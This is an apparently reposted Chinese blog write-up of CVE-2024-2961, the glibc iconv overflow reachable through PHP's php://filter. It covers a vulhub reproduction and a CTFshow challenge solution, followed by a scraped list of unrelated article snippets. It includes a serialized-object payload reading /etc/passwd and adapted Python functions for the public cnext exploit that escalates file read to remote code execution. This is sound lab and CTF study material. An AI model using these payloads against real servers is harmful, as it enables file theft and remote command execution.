CVE-2024-2961漏洞的简单学习

ops/2024/11/19 2:01:21/
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

简单介绍

PHP利用glibc iconv()中的一个缓冲区溢出漏洞,实现将文件读取提升为任意命令执行漏洞

在php读取文件的时候可以使用 php://filter伪协议利用 iconv 函数, 从而可以利用该漏洞进行 RCE

漏洞的利用场景

PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数).

其他利用场景; 其他文件读写相关操作只要支持php://filter伪协议都可以利用。包括XXE、new $_GET['cls']($_GET['argument']);这种场景,都可以使用这个trick进行利用

简单复现利用

vulhub复现地址:https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961

搭建好后打开会发现有一个报错, 因为开始我们的file是没有传参的, 所以稍微修改一下index.php的内容

<?php   
if(isset($_POST['file'])){ 
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}

可以发现是可以进行读取文件的, 接下来就是尝试进行RCE的利用了
在这里插入图片描述

安装依赖

需要有python3的环境

pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py地址下载POC并执行
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
在这里插入图片描述

然后访问网站相应的路由就可以进行 RCE了

在这里插入图片描述

CTFshow 西瓜杯 Ezzz_php

<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{$start = mb_strpos($data, "[");$end = mb_strpos($data, "]");return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{public $start;public $filename="/etc/passwd";public function __construct($start){$this->start=$start;}public function __destruct(){if($this->start == "gxngxngxn"){echo 'What you are reading is:'.file_get_contents($this->filename);}}
}
if(isset($_GET['start'])){$readfile = new read_file($_GET['start']);$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";if(preg_match("/\[|\]/i", $_GET['read'])){die("NONONO!!!");}$ctf = substrstr($read."[".serialize($readfile)."]");unserialize($ctf);
}else{echo "Start_Funny_CTF!!!";
}

审计代码, 我们最终需要利用到 file_get_contents函数 从文件读取到RCE

前面就是php的反序列化逃逸的问题 利用 mb_substr和mb_strpos 执行存在差异去绕过

简单说就是

%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉前三位
%f0配合任意的三个字符结合%9f就可以达到字符串逃逸
具体可以看:https://www.cnblogs.com/gxngxngxn/p/18187578

通过构造payload可以进行一个任意文件的读取

?start=aaaaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:11:"/etc/passwd";}

接下来就是 将任意文件读取提升为远程代码执行

利用原作者的exp, 修改一下send和download即可

def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")filename_len = "a" * (len(path) + 10)url = self.url+f"?start={filename_len}&read={payload}"return self.session.get(url)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)return base64.decode(data)

在这里插入图片描述

在这里插入图片描述

访问到相应路由执行命令

参考文章
https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuW1wfhTbnbD&u_atoken=147e8471b0a897eb857599898fc3e5ae&u_asig=0a472f9217315824068385990e003a```

http://www.ppmy.cn/ops/134833.html

相关文章

决策树基本 CART Python手写实现

参考资料&#xff1a; https://blog.csdn.net/weixin_45666566/article/details/107954454 https://blog.csdn.net/Elenstone/article/details/105328111 代码如下&#xff1a; #-*- coding:utf-8 -*- import numpy as np import pandas as pd import operatordef loadDataSe…

数据结构-布隆过滤器和可逆布隆过滤器

布隆过滤器家族 普通布隆过滤器基本原理代码实现 计数布隆过滤器基本原理代码实现 可逆布隆过滤器基本原理代码实现 参考 在解决缓存穿透问题时&#xff0c;往往会用到一种高效的数据结构-布隆过滤器&#xff0c;其能够快速过滤掉不存在的非法请求&#xff0c;但其也存在一定的…

【网络】HTTP 协议

目录 基本概念基于 HTTP 的系统组成HTTP 的基本性质 HTTP 请求头 & 响应头HTTP 的请求方法HTTP 的返回码HTTP 的 CookieHTTP 缓存 Cache-Control会话HTTP/1.x 的连接管理 基本概念 HTTP&#xff08;Hypertext Transfer Protocol&#xff0c;超文本传输协议&#xff09;是一…

ctfshow DSBCTF web部分wp

ctfshow 单身杯 web部分wp web 签到好玩的PHP 源码&#xff1a; <?php error_reporting(0); highlight_file(__FILE__);class ctfshow {private $d ;private $s ;private $b ;private $ctf ;public function __destruct() {$this->d (string)$this->d;$this…

【Golang】——Gin 框架中的模板渲染详解

Gin 框架支持动态网页开发&#xff0c;能够通过模板渲染结合数据生成动态页面。在这篇文章中&#xff0c;我们将一步步学习如何在 Gin 框架中配置模板、渲染动态数据&#xff0c;并结合静态资源文件创建一个功能完整的动态网站。 文章目录 1. 什么是模板渲染&#xff1f;1.1 概…

Mac 使用mac 原生工具将mp4视频文件提取其中的 mp3 音频文件

简介 Hello! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出~ ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计算机专业,获得过国家奖学金,有幸在竞赛中拿过一些国奖、省奖…已保研 学习经验:扎实基础 + 多做笔…

ChatDev本地部署教程

ChatDev本地部署教程 &#x1f4d6; 概述 ChatDev 是一家虚拟软件公司&#xff0c;通过各种不同角色的智能体 运营&#xff0c;包括执行官&#xff0c;产品官&#xff0c;技术官&#xff0c;程序员 &#xff0c;审查员&#xff0c;测试员&#xff0c;设计师 等。这些智能体形…

「Mac玩转仓颉内测版14」PTA刷题篇5 - L1-005 考试座位号

本篇将继续讲解PTA平台上的题目 L1-005 考试座位号&#xff0c;通过考生准考证号与座位号的对应关系&#xff0c;掌握简单的数据查询与映射操作&#xff0c;进一步提升Cangjie编程语言的实际应用能力。 关键词 PTA刷题数据查询映射操作输入输出Cangjie语言 一、L1-005 考试座位…